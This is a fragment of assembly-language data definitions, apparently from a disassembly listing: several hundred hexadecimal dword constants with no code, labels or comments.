		dd 0BD3F5F8h, 22C350E7h, 0C91D6D00h, 0FA54A3ECh, 8491238Ch
		dd 0CC0CE297h, 17C7B8E1h, 430BBFCFh, 0EB1E6164h, 29D3D5F8h
		dd 689790C0h, 418BC8h, 0B11C15A1h, 0D2BD85ECh, 588A48h
		dd 0F9088847h, 15B852C0h, 0C442DAC5h, 0F093571Fh, 0D7331959h
		dd 9ABFA32Eh, 0FB404E1Fh, 38DA6864h, 55BE2D8h, 8BFAC4E4h
		dd 0E16080B9h, 0AE296D9Dh, 0B3118456h, 10F15300h, 0AE70BE43h
		dd 6ECD1200h, 2B32E303h, 6CF3587Ah, 92004C20h, 712FCE6Bh
		dd 27025E9h, 0B8475240h, 0F8E8F39Bh, 9100FCACh,	18B9EC7Eh
		dd 7349FDh, 90C15E60h, 0B4F09D3Ah, 543F7207h, 3BB02AE9h
		dd 1D575188h, 804095A4h, 1A0D7E83h, 0D80005C9h,	4BCEAC6Dh
		dd 30B92215h
		dd 1B10604Fh, 0E2461DCh, 9383F8C6h, 0A858CFB1h,	6372DECBh
		dd 669E29C4h, 145EF3B8h, 563A4506h, 83365B65h, 12B490E0h
		dd 0DE7803A9h, 34CA1E71h, 0E56C28C0h, 0E42E1C24h, 0F1AF7000h
		dd 14784CDAh, 0E04E69D6h, 9B00F93Ch, 2A451F18h,	78C0F589h
		dd 4BFE1083h, 0C9541911h, 0D0A838A6h, 1C3F456Fh, 168001CAh
		dd 0C3A5BF21h, 4E412180h, 1F726173h, 0BC379D00h, 42CD1B81h
		dd 0CEB7B0Fh, 319476FCh, 5C007AB0h, 49E2FE80h, 90DB5Eh
		dd 7FDFE178h, 28433667h, 4F3A1E03h, 0A80D6886h,	59D17203h
		dd 0E4011CEBh, 0B2A95A5Bh, 0A102E446h, 336FAE70h, 13C0C1D0h
		dd 9C6C47CBh, 0FDD94A00h, 0BBB1E156h, 0EDEBAA07h, 5D0E7EE8h
		dd 0F8378E4h, 80DA4DABh, 4346982h, 76392C3Fh, 0E6E4C1E5h
		dd 0A32984F4h, 58837B5Fh, 0B9BEC035h, 801F0146h, 24F27F6Dh
		dd 512983F6h, 0A8407ED7h, 1CC0EBAEh, 0C0B573DDh, 0B3ED8E9Dh
		dd 2603B113h, 0D87E2A7h, 352BD8C1h, 82AB00FFh, 0CD950512h
		dd 0E40242FCh, 91604732h, 0B8C05C38h, 962CC02h,	0E980DAFEh
		dd 0A3BDCDEDh, 98922400h, 0B226BA4Ch, 0E18D00ABh, 35D61E56h
		dd 2860C786h, 0AD3DF7ACh, 14610154h, 1BC891E6h,	89C4036h
		dd 557AB5A4h, 46432107h, 8C322594h, 813C6869h, 0D8756Eh
		dd 8682FB58h, 201B1F0Ch, 0EF02EC09h, 8058802Dh,	2CDADDh
		dd 6483C935h, 0F7F4B20Ah, 0B1BCCC00h, 0B83FFF98h, 11DE00F6h
		dd 1D9FB4C3h, 0E0345A3h, 1EE94AACh, 2610581Ch, 19020071h
		dd 8F527C18h, 0A743E3Fh, 0D58A4F00h, 2666D8C4h,	0A289004Dh
		dd 485D3605h, 8200DB63h, 289435A4h, 0B393D6h, 0C39A8D08h
		dd 0A59E2BFCh, 98DCF11Dh, 0D06F06C0h, 9DB0E9h, 4E9602BAh
		dd 0DEC3A44Dh, 97078698h, 0E185A3Ch, 205C35F0h,	0E5D43073h
		dd 82764728h, 0D1601075h, 249A1F21h, 2C080162h,	964154FBh
		dd 0EC74E899h, 1D80AA00h, 79F03DC3h, 0EAF470h, 0FAFB030Ch
		dd 2A8A0A5Bh, 20360E03h, 0F087E034h, 115381Ah, 0B78101B8h
		dd 0E0953B19h, 69736BFBh, 233E43Ch, 9791F356h, 88BEC34Eh
		dd 0E650DED3h, 0E5D002FFh, 0A7084FD5h, 0C86CE3E1h, 80B25D0Ch
		dd 1132E11Eh, 3FF548C0h, 0DC2263h, 0D133CB77h, 0A84FF1E5h
		dd 7294B648h, 80E6F424h, 216CC800h, 78149C47h, 41715F5Dh
		dd 0DC054130h, 0C18420D3h, 1B80C09Ch, 76920AEDh, 9B673EFh
		dd 0BFA53336h, 9500DC8Eh, 0EA94D73Fh, 25C8DA0Eh, 703860ABh
		dd 0EBD322h, 0C2AE57A8h, 0C5A20CC7h, 8E895D38h,	0E21F4797h
		dd 60D2824Eh, 1C48CB8h,	0B272DDCAh, 8029B5BCh, 5C4F8EE1h
		dd 0E6DB6E9h, 1D243F2Ah, 0FBD35424h, 29FC6500h,	0DD81F6h
		dd 5008B13Ch, 7CEFC5E6h, 0D096B900h, 0BE7D8DE7h, 0B6230291h
		dd 288C79DBh, 5A618042h, 9EE02C3Fh, 8C81802Ch, 0C813ADD5h
		dd 5C00502Ch, 8E442C5Dh, 4116630Dh, 0E00157Ch, 6776EF66h
		dd 0F3BB307Dh, 0B62609C8h, 0F4E70426h, 40083E03h, 6AC90005h
		dd 158ED02Ch, 6C036EFAh, 0B9B1E8FBh, 0D4C6F0AFh, 0B060FD58h
		dd 5D990037h, 0E101B26Bh, 0D5011B61h, 29CA9332h, 0F3401939h
		dd 60DC7652h, 1034C96Fh, 8094CD6Ah, 0A4664A82h,	407860h
		dd 8C32730Ch, 0F40D1DB9h, 0F8E00161h, 808EEF5Ch, 8A02B546h
		dd 6051CF6Eh, 8C55045Eh, 0A465B30Ch, 9D161D04h,	84002B2Fh
		dd 961B5298h, 106254B2h, 1C781DEh, 23D1BF2Dh, 4AF602D0h
		dd 1F584072h, 0CAD78FAh, 0F5427894h, 2D108707h,	877C5841h
		dd 62786C7Ch, 96EC88DCh, 0D0581B20h, 3028C01Fh,	1AFC947Ah
		dd 77952D04h, 90A60CA9h, 58C58701h, 0F1FC2D21h,	0DC445270h
		dd 4173C04h, 0B10F7Ch, 9F18159Dh, 52F30074h, 367DE61Dh
		dd 6A007856h, 0A071C4B0h, 8B99CABh, 5FC60A8h, 74A91480h
		dd 3158B5h, 0B7BE5D7Eh,	1DBFB044h, 0ECDD2508h, 0A91A0033h
		dd 7D439656h, 0ED166D14h, 0E81C25CBh, 12BAAF3Ch, 0E4C3C90Ch
		dd 0EA7AB198h, 0F1BF3Eh, 275FFE55h, 9D3C9FE3h, 0B9D81004h
		dd 0DD047724h, 1713EB5Ch, 0DE25ACADh, 0E679EC68h, 703E9E3Eh
		dd 24A8C754h, 1C384F3Dh, 0C100C0F3h, 2945CC86h,	598507C3h
		dd 0F093F2C6h, 948E5541h, 49231318h, 0C0639DA9h, 0F3B1FAA1h
		dd 0B97B7638h, 75850500h, 570C12DBh, 18B2EA87h,	38142E6Bh
		dd 3044FDC9h, 0FEDAFE8Eh, 0A8049D11h, 160CA90Ch, 310B8427h
		dd 64AA01D0h, 0B1819D2Eh, 879C0C81h, 892BCDCAh,	1E35749h
		dd 0BC1EBADEh, 3C06A8F4h, 0CD8EF48Ah, 98A01CA1h, 0EAAF62F5h
		dd 0A42C2360h, 0E23C8F22h, 0B3523EC1h, 0FB3A4E00h, 0B02C6F84h
		dd 4B19F700h, 0A1A8253Fh, 909B0017h, 0AC117C1Dh, 400E6CF6h
		dd 0C26CBFFh, 6599D5h, 469B932Fh, 47E1885Ch, 0D8B33A00h
		dd 53DE217Dh, 65053B8Bh, 5531CC30h, 446F0A8Dh, 75000C0h
		dd 145EB1h, 0A666571Bh,	252F5F38h, 0E03D0C01h, 0B29C867Ah
		dd 21E4E450h, 0F9310EE5h, 2EEFBC40h, 8F0E7D40h,	0B801199Dh
		dd 4295A84Bh, 0C260D1C0h, 0F4DA00D6h, 0A92E5A0Fh, 0F6009CF3h
		dd 67EECABh, 0DF9A7Fh, 39C75FCCh, 5D8A1C71h, 5A83DE00h
		dd 0FB2AA8AFh, 1A75003Ch, 91625BBEh, 30CF9F12h,	0BD1C6099h
		dd 0F8BFBBE5h, 666C00E4h, 9CB0DABAh, 4B004685h,	1EDC7D25h
		dd 2C87F97h, 5FAC04A5h,	0EC6062ECh, 0BD00122Ah,	3D6D9654h
		dd 1FA5DBh, 970C6A7Bh, 5EE64878h, 6E6C9500h, 70217726h
		dd 0C89D001Eh, 97D2CC1Fh, 0B0000F64h, 1CDD9A54h, 0B9702Bh
		dd 93756F6Ah, 74E65A88h, 4AF62D00h, 29E424ABh, 0E0FA01BFh
		dd 0B65FA89Dh, 28045E4Bh, 48714B4h, 0E81B865Fh,	630010D3h
		dd 83CBEB5Dh, 1CB48A9Dh, 42B34Eh, 1B5924C8h, 6672B675h
		dd 0E53B6219h, 7B085629h, 84490644h, 42DDB222h,	4FA1172h
		dd 11A95D11h, 0BE11D775h, 33D11B5h, 4014B121h, 149A2828h
		dd 42FEB922h, 0D5D911C5h, 0D308A621h, 949990FAh, 28CC32D7h
		dd 0EE631202h, 8ED2921h, 0E9012D6h, 48F23884h, 11C64201h
		dd 7804EA25h, 0D548F1F0h, 210BA743h, 0DB083629h, 842990EEh
		dd 524806E3h, 31FE6782h, 4467C09Ch, 0C095006Ah,	0D5AD5D14h
		dd 300E26Bh, 0AA367FDDh, 4C78B8D2h, 87301632h, 5AC620EAh
		dd 0CEF53D00h, 93C0A474h, 1545018Ch, 0FAAB91A9h, 37E7E07Fh
		dd 94624A00h, 73CFCCDh,	80641C52h, 0FB53039Bh, 3BE171CEh
		dd 0C4CD3006h, 4C516D00h, 0A5E33645h, 895F0E43h, 4D407190h
		dd 26FCEB1Bh, 301811C3h, 1EF4F008h, 45790907h, 44006116h
		dd 8B68370Ah, 83288867h, 0E17DE5D0h, 0EC7D07h, 9163C379h
		dd 0ABDD0C98h, 1D7B2D00h, 748D526Dh, 0D7720030h, 5505B085h
		dd 0FD7DAD63h, 0BEC1AF04h, 44041C02h, 0D8B00073h, 0C01BFA8h
		dd 0AACB20FFh, 37073470h, 4C3EEA5Eh, 382EA5C0h,	43CC3C5Bh
		dd 0C8E33C00h, 31790869h, 0B06AC130h, 7B7E046h,	98E7ABE5h
		dd 6C01D028h, 2D3CF937h, 7A85003Ch, 922E9713h, 0AE0900E4h
		dd 0DD72CC07h, 32002659h, 0A290104Ch, 200462h, 3FCF3979h
		dd 0CB8E4129h, 2CA85D2Eh, 45BCC803h, 0B8D980AFh, 0BB26065Ah
		dd 2979DB86h, 0F5083E00h, 82CC996Eh, 0DAC40C88h, 4A58934Ch
		dd 0E6A5C100h, 4ED98D65h, 0F4BB0250h, 9E11DF42h, 87330440h
		dd 8C712A28h, 0EF4C1A01h, 78A62DC5h, 77574E4h, 0E0087916h
		dd 80CAF00Ch, 6624DF5Bh, 0EC000E01h, 0F8CD1054h, 0AFAA036Eh
		dd 7AAC4019h, 9BA88FF0h, 44D20900h, 0C51C5AFCh,	0EA7969h
		dd 111BC06Fh, 0D3569326h
		dd 0BD553D00h, 0CEA9A6E2h, 0DE050061h, 3409B996h, 8F71904Fh
		dd 620AB675h, 0BC8D5B1Dh, 0D05F4000h, 85083Dh, 17A60FBEh
		dd 46E9A56Eh, 0DE0078EAh, 0F44C0343h, 144A47h, 779768Dh
		dd 0DCE2885Eh, 9164E500h, 44B727D2h, 0A34F002Bh, 716D4EEEh
		dd 2500178Dh, 31B3DD8Eh, 4A3678h, 0BF516F0Eh, 4D38B10Bh
		dd 0CC51D00h, 142B9FBAh, 0FAE4C7h, 407B1E33h, 0AE3DB0E0h
		dd 0D3C61300h, 0C9524960h, 92581221h, 0C6100A3h, 0A9F036C5h
		dd 0B9EF0400h, 0C772EB88h, 0E7F7D7Ah, 26D93770h, 84CC98C0h
		dd 671C6A6Eh, 4440D61Ch, 52F0EC03h, 188FA29h, 0F26357B8h
		dd 0F4B5C19Eh, 0A6F46DC7h, 8FFD2D04h, 428353EBh, 0CE80FC8Bh
		dd 73799280h, 0A29700FEh, 0D60FB52Ch, 0DC005F56h, 0CEB1F24Eh
		dd 90AEC4h, 62091086h, 51559866h, 0D0B38F27h, 7A8100F7h
		dd 2EFEFAD8h, 0A4001F4Bh, 0CD76D59Ah, 9BCEB2h, 0E742A371h
		dd 2856549Dh, 72225900h, 4D13A406h, 1CB754Fh, 0A911BCAEh
		dd 0D8F3843Ch, 0D60F96D2h, 60E1E38Dh, 0B3CEFAE4h, 0E88E00F8h
		dd 7D9731A6h, 8A0005BAh, 0DF18A54Eh, 0C6DD255h,	38F9A3D1h
		dd 6C02548Ah, 76C53DADh, 3DE096DAh, 0A48001CEh,	0D1629C23h
		dd 8B01F7B7h, 276080D9h, 0B840226Eh, 0D005BFh, 77FD2C75h
		dd 9D881910h, 0BBE1F300h, 0FF038FD8h, 0FAF40241h, 581D8649h
		dd 0A5F6A080h, 0C11042FDh, 4C001059h, 0AC43E50Bh, 5A7D39BFh
		dd 54E78702h, 40BD823Ch, 78C9810h, 0FCFAA8E0h, 0DC80BF42h
		dd 0A1DEE557h, 0CA0355EEh, 77809C05h, 2427908Dh, 4BB20E85h
		dd 0EF4064DAh, 8AEE9ADBh, 0D1B95F01h, 192BC266h, 3C58BCD4h
		dd 7D809DEBh, 32D25A17h, 2503AF1Bh, 4CB78F89h, 0D5B3B0BDh
		dd 30B01C82h, 0C74A8F76h, 2B707260h, 1C0019A0h,	44797B67h
		dd 1F07B869h, 0A74E8Eh,	8D2DC6CCh, 471D0F3Bh, 0B28E29C4h
		dd 8EBCA087h, 932442h, 2AC8140Bh, 4C785131h, 0F843C603h
		dd 0FC9E02F1h, 45CE7881h, 0A269FC0h, 348912A4h,	4A8E40F0h
		dd 0E0001CA1h, 0F702CD56h, 89C299h, 9CD1E5DFh, 0F1BAF6F2h
		dd 84DD870Fh, 6D96E0CBh, 3DC01E2h, 0D8924EEAh, 0D7E84781h
		dd 2E2A6BBFh, 0AEE4EC11h, 0D165FF00h, 450466AFh, 24F4EDD4h
		dd 0AD5059Dh, 795EA6Eh,	877637CCh, 29B6604Fh, 0EF0362E5h
		dd 463404C7h, 0C38CE0CCh, 6BE707E2h, 0F16A19BEh, 40C28750h
		dd 9F89883h, 15DD2800h,	86C01410h, 0BAD007Eh, 1D40F56Fh
		dd 8F70971Eh, 348BCC03h, 7B504F2Ah, 70930031h, 1FA73C51h
		dd 6600E812h, 0B7BA8582h, 0A0950511h, 2BF0E0h, 0B3D5B145h
		dd 66267D61h, 0DB78100h, 1B4E3A74h, 0B0C0041h, 96B5CDDBh
		dd 1F002FA9h, 0A4EF22A2h, 3A8A54Dh, 0D94B64F6h,	0CA887AC4h
		dd 6B000BD5h, 37232CF1h, 1031Eh, 87E12E18h, 9ABE5BBDh
		dd 0AF468E1Ch, 0A3739547h, 0D826E363h, 4A5E199h, 68EF90ABh
		dd 9B64C8C6h, 0D26EE402h, 4037F251h, 0C8288h, 0A089310Dh
		dd 0CD54E61Eh, 0A46D101h, 1D650FC1h, 0ECAFB041h, 3E804DC4h
		dd 48BF78EDh, 0ADD9CD06h, 3A00A2C7h, 5C718F46h,	5BD16Ah
		dd 0EC31C85Eh, 0D23FD889h, 0A811C500h, 0B407CA99h, 22B0084h
		dd 0D19BC65Eh, 7103B048h, 0F72CB7Dh, 0D975A00Ch, 4CF31CBBh
		dd 37868082h, 0A422B838h, 275B3900h, 0F97697E5h, 0A1202632h
		dd 2C950045h, 98A8D49Bh, 69437700h, 0ADE92D76h,	803F00E7h
		dd 4E7CCF04h, 0B4011FF4h, 0B9924B9Dh, 0C8F4AE4Fh, 18290025h
		dd 6A3EDBF7h, 0CF00D7E1h, 0E6C21275h, 9A3942h, 0F114AEFAh
		dd 918FBCB3h, 0BAAB4700h, 0A65E5AE4h, 666F0FF9h, 0F40D3CCh
		dd 1F341B5h, 70C7C504h,	70D0CD63h, 7A7A04FDh, 0D75E002Dh
		dd 0FBBCBA6Eh, 0C81E4A5Fh, 0E2C0CCF0h, 0A9592EA1h, 0ECA67A90h
		dd 2A81000Dh, 6CC4FD9Ah, 73074EC8h, 0BFB486CDh,	0F64D3030h
		dd 7D510056h, 9FD09314h, 59036727h, 0B0A80347h,	94B0BF78h
		dd 31F8F0h, 0B52B4993h,	652E4EF6h, 0A058D500h, 2C87845Eh
		dd 0CAA9007Eh, 0BDF7259Fh, 0A090D854h, 0FC7B9200h, 0C77A9D99h
		dd 33571D49h, 5E10405Dh, 0F54ECD75h, 30C042E0h,	0B1DA6104h
		dd 2D214C86h, 2E012B00h, 878D5940h, 0FC9A6E09h,	0B629804Eh
		dd 4CDA453Ah, 0A013C91h, 62A3448Eh, 703030E8h, 0E8A1DB26h
		dd 0E640CA1Fh, 129A1C5Bh, 0C53B0079h, 0D193FDAEh, 7DB0D095h
		dd 0B8246600h, 523E7009h, 0D7B91DC2h, 43C264Dh,	0CD0446h
		dd 0CE514F89h, 0FE420F85h, 0D681676Dh, 20112554h, 9877E084h
		dd 0EE005877h, 0AC75C620h, 987479CBh, 3BBE00E0h, 51E265E5h
		dd 9024A32Dh, 7C388C3Fh, 0F0B65900h, 0E5F24336h, 0E375FCh
		dd 485C8673h, 2A5DBBEh,	74591A09h, 927603C5h, 0EC84B5D0h
		dd 73828C00h, 9DA1C4h, 8BA5E414h, 8E43929Ah, 55171E00h
		dd 7C517DE5h, 9532004Ch, 31ED2288h, 5900A327h, 40D69ABAh
		dd 3643F9h, 8539E168h, 0EFD5EB92h, 462E98E4h, 0E700E7F4h
		dd 4C9E22F8h, 137E0014h, 0D8B57C3Fh, 0A000404Fh, 8CF747E3h
		dd 78C678A5h, 0C00CE06Eh, 0CF889218h, 0BC00CBB1h, 71F94BF6h
		dd 0F25BE86Ch, 0B8D10355h, 4A29FC1Fh, 627C97E8h, 760058B0h
		dd 4D36A8C9h, 2EB49F7h,	6C3D5D03h, 0E980971Ch, 0C0B7AA28h
		dd 0E40338B8h, 0CCF4E6A9h, 0DE8A98BBh, 9BC500BEh, 0B2DC9129h
		dd 33007B36h, 699ED047h, 0C3A5CFh, 0EEB6C27Dh, 1B9D3750h
		dd 0EB28A400h, 0B3E67301h, 0D068410Dh, 25008DA9h, 3A0E238Ch
		dd 0FA15278Fh, 7A262E1Bh, 2610024h, 0C30DE21h, 2C18D848h
		dd 0EC02C484h, 60A39BB3h, 2E25F5A0h, 7379A0Dh, 40052ECEh
		dd 0E9031122h, 0F27B370Dh, 0D0CF28B5h, 75FAD71h, 0D38B2D05h
		dd 400950A9h, 0A803DAD1h, 432F6338h, 9932B8E1h,	8B60067h
		dd 0BFF08B3Eh, 91C91A5h, 3DDDB946h, 60C05B0Fh, 0F738901h
		dd 0EE33041h, 836A3118h, 260330EAh, 0D0C6120Dh,	0C429C83Fh
		dd 852E00A4h, 0C687D73h, 38076A64h, 0C3763C98h,	0E731612Fh
		dd 0F8F8BFFFh, 0E8540ED5h, 3484865Ah, 4484C04Dh, 9401AC80h
		dd 0E643A66Ch, 0F1C4509Eh, 6B47008Fh, 7F1FB6DEh, 7200902Ah
		dd 0C13202Ch, 733ED7C0h, 939063h, 51CAE874h, 39B3374Eh
		dd 84EDC426h, 0E70F431Dh, 1C11A06Fh, 7333CE8h, 0A1874DB7h
		dd 0C017242Bh, 0D7EB66FCh, 7F3CC4A8h, 0C59BECA1h, 9B40EE62h
		dd 4900446Ah, 2F48F519h, 2AA24B85h, 0D429E6h, 938D5DA7h
		dd 513CE38Bh, 9B75606h,	21630Ch, 293BBC6Dh, 337AE1B8h
		dd 4A0E54B8h, 805BCBF6h, 0AA7B32CEh, 0D710090h,	0A5B214B3h
		dd 0FE3E1593h, 85C71D79h, 0E91200BAh, 57D3BE6Fh, 0A890AEh
		dd 6605B242h, 0F11ACF60h, 4F32F0C0h, 48D06F4h, 5DAEA574h
		dd 0A474C0C8h, 0C2008481h, 65A6ABBAh, 28D278h, 64620812h
		dd 52FD7E2h, 558D8700h,	0F967EAB0h, 56D61C59h, 0EC7061Bh
		dd 6600119Fh, 0ABFA1921h, 306E3ADAh, 0AE60D553h, 1C007B17h
		dd 62D6B7EEh, 0F48EC75Ch, 6839C091h, 2663DD74h,	7C034E26h
		dd 13FC0600h, 0F4E57896h, 0D6390C02h, 6B11A938h, 98D04Dh
		dd 0A0D2D163h, 973CDD3h, 28F5BDD7h, 61AE01DFh, 30804EEEh
		dd 49F6112Ah, 7C00872Dh, 0C83045FDh, 182B07h, 66902E97h
		dd 0B7FD51Ch, 0FF69D701h, 2F38BD64h, 0A712E0h, 0A1A46D1Ah
		dd 0BA05EF25h, 9BF57E00h, 481F7D8Ah, 16617107h,	7DD0ECEh
		dd 705B3E84h, 7C6D6986h, 0BA37CB00h, 48DB4505h,	0CAE43FDAh
		dd 0FC117A80h, 4F60E8E0h
		dd 55509D00h, 0A5FFC57Fh, 396F01C1h, 825E995h, 0D63CC817h
		dd 0B0BD3D03h, 0A8978FA6h, 0E4A4DBE6h, 3F9400EFh, 0F048DEC4h
		dd 9D00E0B7h, 3EEC0891h, 1A2B182h, 2114667Eh, 0DC3CD923h
		dd 6300091Dh, 7571BEC6h, 9EF0A4Dh, 6E37E7E5h, 0C0401469h
		dd 350E544Bh, 60A80F9Fh, 0B3D661B2h, 37790031h,	22632723h
		dd 3A009C4Ah, 0B4AD4705h, 295B58EAh, 0BE814A1h,	3F0119D1h
		dd 0FCB34109h, 0B039B21h, 8EBE1E1Ah, 0C6D682C0h, 1D200C4h
		dd 1B7EFF11h, 602C808h,	0EE53EAA7h, 80C45190h, 0F505B9C9h
		dd 7EB03FDEh, 98D0CC00h, 0CBD5870h, 2E2A00C4h, 2F3A0A3h
		dd 0AF00FDA1h, 62536A5Eh, 1EB518CEh, 0C5BD8Eh, 0B4BF8416h
		dd 0C00081F0h, 7A7773B8h, 698E98h, 74533540h, 7E462427h
		dd 632C7BEEh, 5B050DF5h, 54C19895h, 2EE86F08h, 6C041DBDh
		dd 0E3BB4002h, 0EC44A07Eh, 4E5527h, 26AB5AB0h, 8789888Eh
		dd 501CC57Fh, 31004AFCh, 0C79344E3h, 8F1600C2h,	3976E4F0h
		dd 5D010470h, 0E59D9E06h, 0EBE4C08Ah, 0DE72003Bh, 3502EFE8h
		dd 0A30E1DE4h, 47155011h, 80FF1E2Ah, 52304031h,	6C454C35h
		dd 0D87D2800h, 4FE1E0A5h, 99949A00h, 75C9AC2Eh,	0B5FC0C12h
		dd 3F31A1DFh, 0B188720Fh, 0FBC1FC54h, 0EC1B1718h, 8C9120h
		dd 97A31F8Fh, 0C9BA6B82h, 8DC29B0Bh, 2A74A0BBh,	1A9E7BFh
		dd 0D8972C94h, 0CF7FC306h, 7BFC1680h, 63071405h, 548013DCh
		dd 1E21294Fh, 40BDADF7h, 8680ECF8h, 7D05CE78h, 177AC36Dh
		dd 2F2BE800h, 4736B1Ah,	0FE163D30h, 6D5CD087h, 0F00C275h
		dd 382E98BDh, 0E103D2Ch, 0B178C3A1h, 17ACD3h, 6DEF9AC6h
		dd 4CE550CDh, 0A440300Dh, 0C1672664h, 0CC84BF50h, 0E1183172h
		dd 93912000h, 3D09BB72h, 81834497h, 79362BFCh, 96DA807Eh
		dd 1300576Eh, 26374D8h,	411BC5h, 0FAA5536h, 44BEBE4h, 1400FC98h
		dd 733429C8h, 384307h, 0AC464D95h, 0CDC68DF9h, 0FE073CACh
		dd 0D9E7C45Ch, 587983F0h, 136B7D0Eh, 3A81F3h, 7F2F9D10h
		dd 0FC2795A6h, 0E9108031h, 3AFDC9h, 0B95E5AF5h,	8298B457h
		dd 950CC20Fh, 64556005h, 91FA178h, 8732C3D2h, 51A90810h
		dd 0ADF820h, 26A07F11h,	2B704D69h, 6B00F4FCh, 0D31DDC27h
		dd 93D496h, 2AC9F991h, 5C6D9794h, 9A084101h, 0FB2E692h
		dd 126DFC4h, 98C91A13h,	0F6E28CC3h, 2440A8E2h, 0AD02646Eh
		dd 51EBA222h, 1C0803Ah,	0E62AFB19h, 3BE5091Fh, 7CA90E2Fh
		dd 0FCC3E491h, 2C003577h, 0E1405D73h, 1C57539Fh, 40688AF2h
		dd 21CB7D9h, 0D60B6A27h, 1AFBD55h, 3ACD3B0h, 0A12120FCh
		dd 6DC47B0h, 0D204504Ah, 0B9680074h, 7DE60A07h,	0EE0090A9h
		dd 0BBB68038h, 0F9D4CA2h, 0D0BF6943h, 0E597D8A0h, 7C1694FCh
		dd 0C002332h, 0D197AC1h, 25620767h, 9017DB64h, 0D2728A4Fh
		dd 29A3CF01h, 0B2E70CA7h, 0D44045CDh, 715B30Eh,	0E4889CFCh
		dd 0DF272056h, 4B0FE04Ch, 53B847F7h, 0E8F2008Eh, 506D6E19h
		dd 5C76407Bh, 44893930h, 4719BA9h, 0CB0DBCA1h, 0F9B0E028h
		dd 952F9A1Fh, 83E73130h, 32505CBBh, 0E2873F39h,	4457E9DAh
		dd 888534h, 0BAC7555h, 41F00D7Ah, 0E9B3C90Eh, 0AFDF6046h
		dd 73F7EDC7h, 395B0AA2h, 39903282h, 0D9434980h,	9948D8B6h
		dd 4B05E0B0h, 75972AF0h, 11DFD83h, 0F7442B61h, 61438D2Dh
		dd 73418010h, 918AA9BAh, 0E3400027h, 15547E99h,	860EC7F1h
		dd 2924C82Bh, 300803C9h, 0A5B5F0BFh, 463900CBh,	14AA2D6Eh
		dd 0D77758FEh, 26A6D000h, 59A22F78h, 45E8B6h, 57E47E4Ch
		dd 0C2778D33h, 69E75A00h, 0E219A728h, 8A350156h, 0C12DF189h
		dd 1EA06080h, 0FC79702Eh, 90727400h, 2CA46B42h,	24A552h
		dd 0EEDB8667h, 0BB0E1256h, 0C035DE9Bh, 0D8486328h, 0DD9A0416h
		dd 0C4FECB9Eh, 321F8154h, 346C041h, 59125700h, 247D6410h
		dd 4A7F1C6Bh, 4F13DE2Eh, 0E1E0AC29h, 0F209803Fh, 0D97AA0A0h
		dd 4CE85700h, 0A5B77D27h, 61D100CFh, 0ED493DADh, 0D24DF551h
		dd 6E800034h, 5E35C2BFh, 0F7901E20h, 0A9788095h, 0C49CC517h
		dd 0E5B18B00h, 2D3A9E53h, 79F0FBFDh, 61EE0BB6h,	2882277Bh
		dd 0AB80D041h, 90AA1C02h, 1DA3721Eh, 8C2CC180h,	1FA8D642h
		dd 573DACB1h, 8C13B5h, 0BAD291E8h, 0C632656Eh, 656FF8EEh
		dd 8DFE80D0h, 8BF876ECh, 0B9F2E930h, 0FC5B4Ch, 1612A22Ah
		dd 0CB65CA0Dh, 27755F07h, 0A5302096h, 0FF8A13h,	0B648086Fh
		dd 153D2E3Eh, 73015B00h, 71807F47h, 0D8932CAAh,	84B78034h
		dd 2AA2BFC7h, 7696A104h, 44C071AFh, 53CCD8Eh, 63D16A39h
		dd 258403CCh, 73E03246h, 2200A2DAh, 880B7045h, 750E279h
		dd 5C1426FDh, 0A62000CDh, 315EB25Dh, 59E20C00h,	0C0C1CD0h
		dd 0CA5E305Ah, 0FE7A0919h, 3F007578h, 98AACEA8h, 0C8E0CD41h
		dd 926276A1h, 0E448F0A3h, 630CFC22h, 0B6E11D9h,	94A07792h
		dd 0FE96C2AAh, 8B862801h, 0A2CE83D9h, 2495F430h, 1CE3B1h
		dd 48E68C12h, 8200D988h, 7F2777C9h, 18304BC0h, 0E1DE71CFh
		dd 4802551Fh, 0DA4A64F1h, 0D71D40CBh, 0C05D027Eh, 0E29A972Bh
		dd 929FDC80h, 392C633Ch, 0BB85BC2Dh, 57C04E6Fh,	96A503CDh
		dd 2C003D08h, 25EA46B5h, 372A7090h, 760AFC1Eh, 0F06BC4A7h
		dd 17E84660h, 5C51C128h, 601A4E6Eh, 2D775324h, 0C546F60Ch
		dd 0AB4109h, 0C8887AFBh, 53213DCEh, 0B6DFB8C0h,	7F169F79h
		dd 8EAA0118h, 0AEA526BEh, 9827D007h, 62F3171Ch,	0B6040367h
		dd 9AC0BDE5h, 7318F10h,	59180524h, 73FBC28Ch, 4627A840h
		dd 99032000h, 0DC17536Eh, 0C0F54C69h, 0EBBDF02h, 2C602FC6h
		dd 1F1830ECh, 0A539497Ah, 52C91CD5h, 0D41080B0h, 380B4AEBh
		dd 56251E6h, 0A1F19994h, 0C7F5BDFCh, 4093E850h,	69C31566h
		dd 0B500F8BBh, 229DE62Ah, 2350A861h, 760C2480h,	11B149CAh
		dd 564F02DFh, 9BF9EC85h, 4421A060h, 26AE1801h, 0C2B18D89h
		dd 7092E971h, 8304016Dh, 0F053E960h, 0B300B723h, 321D2E91h
		dd 7E3654E3h, 0D067136Dh, 0C0DC0041h, 10A9177Bh, 833FE700h
		dd 958BA2B6h, 0B0A5004Bh, 0ACAE5A06h, 0F00C30Dh, 3181804Fh
		dd 1EA96F3h, 5C06638Eh,	0D0EFBF25h, 620F5364h, 0E05F91D1h
		dd 5DCD76C8h, 129C4E90h, 1A90C07Ch, 0F0139EE1h,	0E801E570h
		dd 0AF1298A3h, 0B967E0CBh, 9AFD0471h, 0C07D33F4h, 4EE6E0E4h
		dd 0AA509B0Fh, 395A80D6h, 0B5CFDFh, 0BC8931E1h,	3603BD57h
		dd 160F2000h, 68257F6Ah, 0EFD70027h, 4B854401h,	36503A43h
		dd 0FD1CE5C8h, 93C74950h, 82305F42h, 1A3AC73h, 0BA849AB3h
		dd 0C59886BFh, 1C6D70B0h, 37C30500h, 24ED1633h,	1A7D04C4h
		dd 0C04BD9FBh, 0B2193620h, 770964B8h, 52895E17h, 57973FCh
		dd 0FA030476h, 3238A053h, 0BC04F04Eh, 5F40F50Bh, 50CF553Bh
		dd 0C501AC90h, 0E1FD0D76h, 6C230B5Dh, 0D8754214h, 348B2260h
		dd 55EA092Bh, 56F5407h,	0EC402FB9h, 59175239h, 2B2E387Dh
		dd 67200B5h, 0F5B4DD6Eh, 2563BD00h, 6DA7229Ch, 0CACE00EAh
		dd 7B0F1086h, 6104DF20h, 0EBDCFEE8h, 124880B0h,	1CCD541Ch
		dd 41BD3E3Ah, 584D8F8Eh, 93F4EA64h, 1BE0266Ch, 55000DAEh
